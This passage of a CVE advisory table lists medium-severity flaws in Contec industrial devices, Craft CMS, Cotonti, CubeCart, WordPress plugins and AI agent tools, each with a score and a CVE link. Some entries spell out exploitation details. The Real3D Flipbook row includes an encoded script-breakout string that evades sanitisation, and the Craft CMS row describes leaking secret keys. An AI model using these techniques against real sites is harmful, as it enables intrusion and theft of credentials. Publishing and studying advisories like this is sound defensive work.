&lt;td&gt;Cross-site scripting vulnerability exists in CPSL-08P1EN. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user&#039;s web browser.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82788&quot; target=&quot;_blank&quot;&gt;CVE-2026-82788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--ECE1000&lt;/td&gt;
&lt;td&gt;Cross-site scripting vulnerability exists in Contec EC1000 series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user&#039;s web browser.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82771&quot; target=&quot;_blank&quot;&gt;CVE-2026-82771&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--FXA5000&lt;/td&gt;
&lt;td&gt;Cross-site scripting vulnerability exists in Contec FX5000 series, FX4000 series, and FX3000 series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user&#039;s web browser.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82763&quot; target=&quot;_blank&quot;&gt;CVE-2026-82763&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--Integrated Type CPS-PC341[][]-*-9201&lt;/td&gt;
&lt;td&gt;Cross-site scripting vulnerability exists in CONPROSYS PAC Series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user&#039;s web browser.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82776&quot; target=&quot;_blank&quot;&gt;CVE-2026-82776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--Integrated Type CPS-PC341[][]-*-9201&lt;/td&gt;
&lt;td&gt;An exposure of information through directory listing issue exists in CONPROSYS PAC Series. Accessing a specific URL on this product may allow a remote unauthenticated attacker to obtain the directory list without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82778&quot; target=&quot;_blank&quot;&gt;CVE-2026-82778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--M2M Gateway Integrated Type CPS-MG341*&lt;/td&gt;
&lt;td&gt;Cross-site scripting vulnerability exists in CONPROSYS M2M Gateway Series and CONPROSYS M2M Controller Series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user&#039;s web browser.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82773&quot; target=&quot;_blank&quot;&gt;CVE-2026-82773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--M2M Gateway Integrated Type CPS-MG341*&lt;/td&gt;
&lt;td&gt;An exposure of information through directory listing issue exists in CONPROSYS M2M Gateway Series and CONPROSYS M2M Controller Series. Accessing a specific URL on this product may allow a remote unauthenticated attacker to obtain the directory list without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82775&quot; target=&quot;_blank&quot;&gt;CVE-2026-82775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--PC-HELPER Wireless I/O DIO-0404RY-LWF&lt;/td&gt;
&lt;td&gt;Cross-site scripting vulnerability exists in PC-HELPER Wireless I/O DIO-0404RY-LWF and PC-HELPER Wireless I/O DIO-0404RY-LWF-US. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user&#039;s web browser.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82790&quot; target=&quot;_blank&quot;&gt;CVE-2026-82790&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function vulnerability exists in Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*. An attacker may execute a REST API without authentication, which could allow the attacker to retrieve I/O values and/or control the output.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82784&quot; target=&quot;_blank&quot;&gt;CVE-2026-82784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*&lt;/td&gt;
&lt;td&gt;Insufficiently protected credentials issue exists in Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*. If this vulnerability is exploited, sensitive information may be restored from a backup file.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82786&quot; target=&quot;_blank&quot;&gt;CVE-2026-82786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*&lt;/td&gt;
&lt;td&gt;Cross-site scripting vulnerability exists in CONPROSYS nano Series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user&#039;s web browser.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82781&quot; target=&quot;_blank&quot;&gt;CVE-2026-82781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*&lt;/td&gt;
&lt;td&gt;Out-of-bounds write vulnerability exists in CONPROSYS nano Series. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service (DoS) condition.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82782&quot; target=&quot;_blank&quot;&gt;CVE-2026-82782&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*&lt;/td&gt;
&lt;td&gt;Plaintext storage of a password issue exists in CONPROSYS nano Series . If this vulnerability is exploited, an attacker with physical access to the product may obtain credentials.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82783&quot; target=&quot;_blank&quot;&gt;CVE-2026-82783&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*&lt;/td&gt;
&lt;td&gt;Stack-based buffer overflow vulnerability exists in Remote I/O Coupler Unit (Server Type) CPSN-MCB271-*. Receiving a specially crafted request created and sent by a remote attacker may cause a denial-of-service (DoS) condition.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82785&quot; target=&quot;_blank&quot;&gt;CVE-2026-82785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--RP-WAH-SR1&lt;/td&gt;
&lt;td&gt;Cross-site scripting vulnerability exists in Contec RP-WAH-SR Series. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user&#039;s web browser.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82769&quot; target=&quot;_blank&quot;&gt;CVE-2026-82769&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--SGA1000&lt;/td&gt;
&lt;td&gt;Cross-site scripting vulnerability exists in SGA1000. If this vulnerability is exploited, an arbitrary script may be executed on a logged-in user&#039;s web browser.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82767&quot; target=&quot;_blank&quot;&gt;CVE-2026-82767&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--SV-CPT-MC310&lt;/td&gt;
&lt;td&gt;SolarView Compact contains a cross-site scripting vulnerability in Schedule Settings and Mail Send Setting. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82795&quot; target=&quot;_blank&quot;&gt;CVE-2026-82795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--SV-CPT-MC310&lt;/td&gt;
&lt;td&gt;SolarView Compact contains a cross-site scripting vulnerability in Image Management. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82796&quot; target=&quot;_blank&quot;&gt;CVE-2026-82796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;continew-org--continew-admin&lt;/td&gt;
&lt;td&gt;ContiNew Admin through 4.1.0 contains an authorization bypass vulnerability in the personal message delete endpoint that allows authenticated users to delete other users&#039; messages and announcements. Attackers can supply arbitrary message identifiers in the IdsReq parameter to remove any message row and purge all recipients&#039; read receipts without ownership validation.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92603&quot; target=&quot;_blank&quot;&gt;CVE-2026-92603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cosmicstack-labs--mercury-agent&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in cosmicstack-labs mercury-agent up to 1.1.13. The impacted element is the function PermissionManager.checkShellCommand of the file mercury-agent/src/capabilities/permissions.ts of the component Shell Command Permission Check. Performing a manipulation results in improper authorization. The attack can be initiated remotely. The exploit has been released to the public and may be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90810&quot; target=&quot;_blank&quot;&gt;CVE-2026-90810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cosmicstack-labs--mercury-agent&lt;/td&gt;
&lt;td&gt;A flaw has been found in cosmicstack-labs mercury-agent up to 1.1.13. Affected by this vulnerability is the function githubRequest of the file src/utils/github.ts of the component GitHub API Handler. This manipulation of the argument path causes server-side request forgery. Remote exploitation of the attack is possible. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90814&quot; target=&quot;_blank&quot;&gt;CVE-2026-90814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cosmicstack-labs--mercury-agent&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in cosmicstack-labs mercury-agent up to 1.2.0. This impacts the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Permission. The manipulation leads to incorrect privilege assignment. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90812&quot; target=&quot;_blank&quot;&gt;CVE-2026-90812&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cosmicstack-labs--mercury-agent&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in cosmicstack-labs mercury-agent up to 1.1.13. Affected is the function checkShellCommand of the file src/capabilities/permissions.ts of the component Shell Command Execution. The manipulation results in incorrect behavior order: validate before canonicalize. The attack may be launched remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90813&quot; target=&quot;_blank&quot;&gt;CVE-2026-90813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti through 1.0.0 contains an open redirect vulnerability in the cot_url_check() function that validates redirect destinations using a regular expression lacking an end-of-string anchor. Attackers can bypass the redirect guard by supplying hostnames beginning with the site domain to redirect users to attacker-controlled hosts through the ratings plugin or other redirect callers.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93869&quot; target=&quot;_blank&quot;&gt;CVE-2026-93869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti through 1.0.0 fails to validate redirect destinations in page bodies prefixed with redir:, allowing authenticated users with page creation or edit permissions to store redirects to arbitrary external hosts. Attackers can craft pages on trusted domains that redirect visitors to malicious sites for phishing attacks without administrative privileges.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93871&quot; target=&quot;_blank&quot;&gt;CVE-2026-93871&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti through 1.0.0 fails to validate anti-CSRF tokens in the ratings plugin AJAX handler, allowing attackers to forge ratings on behalf of authenticated users. Attackers can craft malicious pages that auto-submit POST requests to modify stored rating data when visited by logged-in users.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93870&quot; target=&quot;_blank&quot;&gt;CVE-2026-93870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cotonti--Cotonti&lt;/td&gt;
&lt;td&gt;Cotonti through 1.0.0 fails to validate anti-CSRF tokens in the contact plugin submission handler, allowing attackers to forge messages. Attackers can auto-submit contact forms from attacker-controlled pages to send forged messages attributed to authenticated victims to the administrator inbox.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93873&quot; target=&quot;_blank&quot;&gt;CVE-2026-93873&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;coze-dev--coze-studio&lt;/td&gt;
&lt;td&gt;Coze Studio through 0.5.1 fails to restrict the server URL supplied when registering plugin tools, allowing authenticated users to make the backend fetch internal services. Attackers can construct plugin requests to access cloud metadata endpoints and internal services reachable only from the backend network, reading responses containing sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92795&quot; target=&quot;_blank&quot;&gt;CVE-2026-92795&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--cms&lt;/td&gt;
&lt;td&gt;Craft CMS versions from 5.7.0 before 5.10.13 contain a stored cross-site scripting vulnerability in the Generated Fields feature that disables Twig autoescaping and fails to encode cached values. Content editors can inject malicious JavaScript through editable fields that executes in authenticated Control Panel sessions of higher-privileged users viewing element indexes.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92590&quot; target=&quot;_blank&quot;&gt;CVE-2026-92590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--cms&lt;/td&gt;
&lt;td&gt;Craft CMS 5.0.0 through 5.10.12 treats a database connection failure as meaning that Craft is not installed, which makes anonymous installer actions - including install/validate-site - reachable on an installed production site whenever PHP remains available but the configured MySQL endpoint does not. The action accepts a site name, serializes it through Site::getName(), and expands ${NAME} expressions using App::env(). An unauthenticated attacker who obtained a guest session cookie and matching CSRF token before the outage and whose session remains valid during it can submit a predictable variable name (for example Craft&#039;s conventional CRAFT_SECURITY_KEY) and receive its value, disclosing Craft secrets, process environment variables, $_SERVER entries, or PHP constants such as the security key, database credentials, or API keys. The issue requires an independently occurring database outage; the vulnerability itself provides no way to induce it. Fixed in 5.10.13.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92591&quot; target=&quot;_blank&quot;&gt;CVE-2026-92591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;craftcms--cms&lt;/td&gt;
&lt;td&gt;Craft CMS 5.0.0 through 5.10.12 (fixed in 5.10.13) contains a broken access control flaw in the nested-elements reorder endpoint. When an authenticated control panel user with viewEntries and viewPeerEntries (but without savePeerEntries) opens another author&#039;s entry in read-only mode, Craft unconditionally grants that session a `manageNestedElements::&amp;lt;ownerId&amp;gt;::field:&amp;lt;handle&amp;gt;` authorization flag for the entry&#039;s Matrix/Address fields. Unlike the corresponding delete endpoint, actions/nested-elements/reorder trusts this session flag alone and never rechecks the caller&#039;s save permission for the owner element. As a result, a view-only user can POST to actions/nested-elements/reorder using the ownerElementType, ownerId, ownerSiteId, attribute, elementIds, and offset parameters present in the read-only page source and rewrite the sort order of Matrix blocks or Addresses belonging to content they are explicitly denied save access to.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92589&quot; target=&quot;_blank&quot;&gt;CVE-2026-92589&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;creativeinteractivemedia--Real3D Flipbook 3D FlipBook, PDF FlipBook, PDF Viewer, PDF Embedder&lt;/td&gt;
&lt;td&gt;The Real3D Flipbook Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;lightboxtext&#039; shortcode attribute (and other unsanitized attributes handled by on_shortcode()) in versions up to, and including, 5.1.1. This is due to insufficient input sanitization and output escaping in the on_shortcode() and print_global_options() functions: shortcode attribute values are copied verbatim into $this-&amp;gt;flipbook_options and then emitted via wp_json_encode() inside a &amp;lt;script type=&quot;application/json&quot;&amp;gt; block without the JSON_HEX_TAG flag, allowing a literal &amp;lt;/script&amp;gt; byte sequence in the attribute value to break out of the JSON script context. Because WordPress&#039;s shortcode_parse_atts() applies stripcslashes() to attribute values, an attacker can encode the breakout tag as \x3c/script\x3e\x3cscript\x3e¦\x3c/script\x3e, which survives the wp_kses_post save-time filter applied to Contributor content (the escape bytes are safe text characters, not HTML tags) and is decoded to real angle brackets at render time. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user (typically an Editor or Administrator previewing/moderating the pending post) accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15098&quot; target=&quot;_blank&quot;&gt;CVE-2026-15098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Crocoblock. Jetimpex Inc.--JetBlocks For Elementor&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in JetBlocks For Elementor &amp;lt;= 1.5.2 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66576&quot; target=&quot;_blank&quot;&gt;CVE-2026-66576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Crocoblock. Jetimpex Inc.--JetBlog&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in JetBlog &amp;lt;= 2.4.10 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66572&quot; target=&quot;_blank&quot;&gt;CVE-2026-66572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Crocoblock. Jetimpex Inc.--JetElements For Elementor&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in JetElements For Elementor &amp;lt;= 2.9.2.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66579&quot; target=&quot;_blank&quot;&gt;CVE-2026-66579&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Crocoblock. Jetimpex Inc.--JetSearch&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in JetSearch &amp;lt;= 3.6.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66577&quot; target=&quot;_blank&quot;&gt;CVE-2026-66577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Crocoblock. Jetimpex Inc.--JetTabs&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in JetTabs &amp;lt;= 2.3.3.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66573&quot; target=&quot;_blank&quot;&gt;CVE-2026-66573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;crossbario--autobahn-python&lt;/td&gt;
&lt;td&gt;Autobahn Python is a WebSocket and WAMP implementation for Python that supports Twisted and asyncio. Prior to 26.7.1, WebSocket endpoints that accept permessage-deflate and rely on maxMessagePayloadSize enforce that limit against the compressed frame length before inflation but do not recheck the decompressed message size before delivery. A remote unauthenticated client can send a valid compressed frame below the configured wire-size limit that expands beyond the application message limit, causing oversized data to be allocated, joined, validated, and passed to application callbacks. This can create resource-exhaustion pressure, but the advisory does not establish confidentiality or integrity impact. This issue is fixed in version 26.7.1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77528&quot; target=&quot;_blank&quot;&gt;CVE-2026-77528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cubecart--v6&lt;/td&gt;
&lt;td&gt;CubeCart is an ecommerce software solution. Prior to 6.7.5, the _errorMessage method in classes/gui.class.php uses strip_tags to permit anchor elements in error, information, and warning messages while retaining unsafe href values and onclick event handlers. Attacker-controlled search or input data that reaches a GUI message can carry a javascript: URI or event handler through the filter, and viewing or interacting with the rendered anchor executes JavaScript in the victim&#039;s browser session, enabling session exposure or unauthorized application actions. This issue is fixed in version 6.7.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54644&quot; target=&quot;_blank&quot;&gt;CVE-2026-54644&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cubecart--v6&lt;/td&gt;
&lt;td&gt;CubeCart is an ecommerce software solution. Prior to 6.7.5, the GDPR tools in admin/sources/customers.gdpr.inc.php rely on page-level CC_PERM_READ access and do not require CC_PERM_DELETE for the purge, no_order_purge, or delete_guests commands. An authenticated administrator with read-only customer privileges can invoke these backend actions directly to bypass interface restrictions and irreversibly delete customer records, accounts without orders, or guest accounts, compromising data integrity and availability. This issue is fixed in version 6.7.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54648&quot; target=&quot;_blank&quot;&gt;CVE-2026-54648&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cubecart--v6&lt;/td&gt;
&lt;td&gt;CubeCart is an ecommerce software solution. Prior to 6.7.5, the delete-note handler in admin/sources/orders.index.inc.php verifies only the presence of order_id and delete-note parameters before deleting records from CubeCart_order_notes, without requiring CC_PERM_DELETE for orders. An authenticated administrator lacking order modification privileges can directly invoke the handler with valid identifiers and delete order-history notes, removing operational records and audit-trail data. This issue is fixed in version 6.7.5.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
